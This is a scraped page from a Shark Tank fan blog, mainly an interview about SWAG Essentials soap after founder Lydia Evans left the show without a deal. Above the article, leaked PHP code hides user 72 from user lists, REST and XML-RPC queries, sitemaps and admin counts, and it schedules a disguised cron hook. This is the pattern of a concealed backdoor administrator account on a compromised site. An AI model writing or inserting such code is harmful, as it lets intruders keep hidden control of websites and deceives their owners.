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            status_header( 404 );
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} );

add_action( 'pre_user_query', function( $q ) {
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
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    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 72;
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} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
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    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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}, 10, 3 );

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} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
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} );

add_action( 'admin_head-users.php', function() {
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} );

add_filter( 'views_users', function( $views ) {
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
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add_action( 'pre_get_posts', function( $q ) {
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        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
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    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 72;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 72;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 72;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
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        $methods['wp.getUsers'],
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} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
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    $exclude[] = 72;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-72{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
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                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
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        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
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    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="Go to Shark Tank Blog." href="https://staging.sharktankblog.com" class="home" data-wpel-link="internal"><span property="name">Shark Tank Blog</span></a><meta property="position" content="1"></span> &gt; <span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="Go to the Interview Category archives." href="https://staging.sharktankblog.com/category/interview/" class="taxonomy category" data-wpel-link="internal"><span property="name">Interview</span></a><meta property="position" content="2"></span> &gt; <span property="itemListElement" typeof="ListItem"><span property="name" class="post post-post current-item">SWAG Essentials Update &#8211; Interview with Lydia Evans</span><meta property="url" content="https://staging.sharktankblog.com/swag-essentials-update-interview-with-lydia-evans/"><meta property="position" content="3"></span></div>
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							<a class="meta-el meta-avatar" href="https://staging.sharktankblog.com/author/hotdogman/" data-wpel-link="internal"><img alt='Rob Merlino' src='https://secure.gravatar.com/avatar/0484200c9c000c3ef0337c4d089afc3bcec07bbf0c1d8acd0b6ebc7e299f5943?s=120&#038;r=g' srcset='https://secure.gravatar.com/avatar/0484200c9c000c3ef0337c4d089afc3bcec07bbf0c1d8acd0b6ebc7e299f5943?s=240&#038;r=g 2x' class='avatar avatar-120 photo' height='120' width='120' decoding='async'/></a>
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								<time class="updated-date" datetime="2015-10-26T13:04:10-04:00">Last updated: October 26, 2015 1:04 pm</time>
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					<a class="share-action native-share-trigger more-icon" aria-label="More" href="#" data-link="https://wp.me/p2C4sm-5Yq" data-ptitle="SWAG Essentials Update &#8211; Interview with Lydia Evans" data-title="More" data-gravity="w" rel="nofollow"><i class="rbi rbi-more" aria-hidden="true"></i></a>
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							<div class="entry-content rbct clearfix is-highlight-shares"><p><a href="https://amzn.to/3ASNVCB" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external"><img decoding="async" class="aligncenter wp-image-22967 size-large" src="https://www.sharktankblog.com/wp-content/uploads/2015/10/swag-essentials-update-557x348.jpg" alt="swag essentials update" width="557" height="348"></a>There is a Swag Essentials Update segment in Shark Tank episode 704. If you recall, entrepreneur Lydia Evans’ memorable line in her initial appearance was quite humorous. Lydia, a happily single woman, told Daymond she likes “long, romantic walks to the bank!”</p><div class="ruby-table-contents rbtoc table-fw"><div class="toc-header"><i class="rbi rbi-read"></i><span class="h3">Contents</span><div class="toc-toggle no-link"><i class="rbi rbi-angle-up"></i></div></div><div class="toc-content h5"><a href="#swag-essentials-road-to-shark-tank" class="table-link no-link anchor-link" data-index="rb-heading-index-0">Swag Essentials Road to Shark Tank</a><a href="#swag-essentials-update-8211-the-shark-tank-effect" class="table-link no-link anchor-link" data-index="rb-heading-index-1">SWAG Essentials Update – The Shark Tank Effect</a><a href="#what8217s-next-for-swag-essentials" class="table-link no-link anchor-link" data-index="rb-heading-index-2">What’s next for SWAG Essentials?</a></div></div>
<p>Despite her cheery nature and quality product (glycerin-based soaps embedded with loofah particles), Lydia didn’t score a deal. I spoke to Lydia about a week before the SWAG Essentials update segment was announced. Lydia was very coy and careful about what she said – lest she violate her non-disclosure agreement with Shark Tank’s producers – but I guessed she’d filmed an update segment! It was a long road for Lydia and her business to get to the Shark Tank and she’s apparently met with a lot of success.</p>
<h2 id="swag-essentials-road-to-shark-tank" class="rb-heading-index-0">Swag Essentials Road to Shark Tank</h2>
<p>Lydia attended an open call at SXSW in Austin in 2014. “There were a ton of people there,” she explains, “but I went in with all my heart, shooting from the hip. My current office manager said she thought they’d call and I heard back about a week later. I ended up taping in July, 2014.”</p>
<p>“When I finally got in front of the Sharks, they loved me, but it was so heart-wrenching, I thought I was going to faint. As you saw, I was ‘too early’ for the Sharks, but two weeks after my air date, we had a fulfillment center up and running. Now I have a lot more people helping me, but I still make everything.”</p>
<p>“The bottom line is, it’s a kick-ass product that does what we say it’s going to do. The formula is ‘heaven scent,’ but without the loofah, it would be just another soap. It’s really for a niche market – our customers are looking for a solution and seeking results for a particular problem and the soap was a new addition to my line. Adding it was what allowed me to take other products to the next level.”</p>
<p>Lydia recalls how the <a href="https://amzn.to/3ASNVCB" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">SWAG Essentials</a> soap came to be: “My brother (a barber) kept calling me and saying ‘baby girl, can you make up something for men after they shave?’ After asking me about 18,000 times, I realized there was a market for this. At the time, I was doing laser hair removal and I saw a lot of men with <a href="http://www.mayoclinic.org/diseases-conditions/folliculitis/basics/symptoms/con-20025909" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">Folliculitus</a>. When I decided to make my brother a product, I thought ‘I’m gonna fix him!’ I put everything in a glycerin-based soap with the loofah as an added exfoliate and made up some samples. When the samples flew out, I started making more.”</p>
<p>Those initial batches of <a href="https://amzn.to/3ASNVCB" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">SWAG Essentials</a> netted Lydia $54K in sales. While she felt like a big success, the Sharks thought it wasn’t an invest-able business.</p>
<h2 id="swag-essentials-update-8211-the-shark-tank-effect" class="rb-heading-index-1">SWAG Essentials Update – The Shark Tank Effect</h2>
<p>“When the show aired,” Lydia continues, “the site went off. We were having a watch party and I was caught off guard by the response. We weren’t as prepared as we should have been, but remember: when you go on Shark Tank and don’t get a deal, there’s no infusion of capital to prepare for the Shark Tank effect.”</p>
<p>When I questioned Lydia about sales figures in the year following her appearance, she wouldn’t give me a hard number. I asked if they were 2 times previous sales, 3 times, 4 times, 5 times, 6 times? She replied: “We’re well over that” when I got to six times. Do the math, that’s <em>well over </em>$325,000 in sales! Not bad for someone who left the Tank without a deal. Hopefully Lydia’s found someone to take those long romantic walks to the bank with!</p>
<p>“I’m so proud and grateful for the feedback that I got from the Sharks,” she continues. “I took their feedback and injected it into my business. I applied what they said and did it. Mr. Wonderful called my business a hobby, but I was able to turn it into a business.”</p>
<p>“I’m in 17 retailers now and we still sell online. I’m on <a href="https://amzn.to/3ASNVCB" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">Amazon</a>, but no big box stores yet. I’m working on a few things overseas now, too. Everyone’s goal in business is different. I know where I want to be and I know my customers. I enjoy what I do and I’m lucky I get paid to do it.”</p>
<h2 id="what8217s-next-for-swag-essentials" class="rb-heading-index-2">What’s next for SWAG Essentials?</h2>
<p>I’m comfortable where my business is now, but I still like to push myself out of my comfort zone. After Shark Tank, I’m looking at things from a measured perspective and doing more planning. I know when you get to certain profit level, people want to make decisions for you, and I don’t want to go there yet. You still have to deal with all the things that go wrong every day.”</p>
<p>“I think without the exposure, I wouldn’t be where I am today. Any business with a good product and plan will be successful, but Shark Tank did have an effect. If I am I gonna air again, I wonder will I be able to handle it? All I can do is the best I can every day. I can tell you we’ve introduced three new products since airing – just look out!”</p>
<p>At the conclusion of our conversation, I asked Lydia if she had any advice for would-be entrepreneurs. Her answer: “To whom much is given, much is required. People get lost in the illusion of starting a business, make sure you’re ready before you start. A lot of people don’t get that much more comes with success than success.”</p>
<p>I had one other question for Lydia. She answers it on <a href="http://www.thehotdogtruck.com/2015/10/lydia-from-swag-essentials-answers.html" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">The Hot Dog Truck</a>.</p>

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e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=ke({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return 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